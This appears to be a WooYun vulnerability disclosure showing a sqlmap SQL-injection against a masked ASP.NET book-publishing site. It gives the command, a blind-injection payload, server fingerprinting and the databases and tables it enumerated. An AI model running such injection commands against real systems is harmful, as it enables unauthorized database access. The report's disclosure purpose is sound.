WooYun.org

1,注入信息:
sqlmap -u "http://**.**.**.**/mainpages/more.aspx?Keywords=%2 --batch
2,数据库信息
back-end DBMS: Microsoft SQL Server 2008
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Keywords (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Keywords=%%' AND 4670=4670 AND '%'='
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
available databases [15]:
[*] [zwcm_2011(old)]
[*] BookData
[*] BookExport
[*] DownloadBook
[*] HXS
[*] jxpp_2008
[*] jxpp_2012
[*] KCDB_2013
[*] master
[*] model
[*] msdb
[*] NetPerfMon
[*] PublishingResources
[*] tempdb
[*] zwcm_2014
3,看看表
Database: zwcm_2014
[40 tables]
+--------------------------+
| dbo |
| dbo |
| AccessCount |
| AdminDep_Less |
| AdminDep_Main |
| AdminInfo |
| AdminOperateLog |
| AdminRole |
| AdminRole_OtherList |
| BaseColumn |
| BaseInfo |
| BaseType |
| BookBinding |
| BookCLC |
| BookClass |
| BookComment |
| BookInfo |
| BookInfo_ForeignLanguage |
| BookInfo_Type |
| BookKind |
| BookLanguage |
| BookPress |
| BookPress_Type |
| BookReply |
| BookSerialize_Chapter |
| BookSerialize_Section |
| BookType_Less |
| BookType_Main |
| CityInfo |
| ImageTyhe_Main |
| VoteType |
| d |
| d |
| d |
| d |
| d |
| d |
| db |
| db |
| db |
+--------------------------+
4,不想继续了